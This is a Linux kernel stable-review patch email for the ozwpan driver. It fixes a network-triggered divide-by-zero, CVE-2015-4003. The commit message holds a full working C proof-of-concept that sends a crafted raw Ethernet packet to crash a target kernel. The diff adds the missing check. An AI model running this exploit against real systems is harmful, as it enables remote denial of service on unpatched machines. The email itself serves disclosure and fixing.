From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S933465AbbFQXpI (ORCPT ); Wed, 17 Jun 2015 19:45:08 -0400 Received: from youngberry.canonical.com ([91.189.89.112]:34602 "EHLO youngberry.canonical.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S932320AbbFQWY5 (ORCPT ); Wed, 17 Jun 2015 18:24:57 -0400 From: Kamal Mostafa To: linux-kernel@vger.kernel.org, stable@vger.kernel.org, kernel-team@lists.ubuntu.com Cc: "Jason A. Donenfeld" , Greg Kroah-Hartman , Luis Henriques , Kamal Mostafa Subject: [PATCH 3.19.y-ckt 002/146] ozwpan: divide-by-zero leading to panic Date: Wed, 17 Jun 2015 15:21:47 -0700 Message-Id: <1434579851-1719-3-git-send-email-kamal@canonical.com> X-Mailer: git-send-email 1.9.1 In-Reply-To: <1434579851-1719-1-git-send-email-kamal@canonical.com> References: <1434579851-1719-1-git-send-email-kamal@canonical.com> X-Extended-Stable: 3.19 Sender: linux-kernel-owner@vger.kernel.org List-ID: X-Mailing-List: linux-kernel@vger.kernel.org 3.19.8-ckt2 -stable review patch. If anyone has any objections, please let me know. ------------------ From: "Jason A. Donenfeld" commit 04bf464a5dfd9ade0dda918e44366c2c61fce80b upstream. A network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module. =-=-=-=-=-= #include #include #include #include #include #include #include #include #include #include #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld Acked-by: Dan Carpenter Signed-off-by: Greg Kroah-Hartman Reference: CVE-2015-4003 BugLink: https://bugs.launchpad.net/bugs/1463445 Signed-off-by: Luis Henriques Signed-off-by: Kamal Mostafa --- drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c index d434d8c..8ed561a 100644 --- a/drivers/staging/ozwpan/ozusbsvc1.c +++ b/drivers/staging/ozwpan/ozusbsvc1.c @@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx, struct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr; u8 *data = body->data; - int n = (len - sizeof(struct oz_multiple_fixed)+1) + int n; + if (!body->unit_size) + break; + n = (len - sizeof(struct oz_multiple_fixed)+1) / body->unit_size; while (n--) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint, -- 1.9.1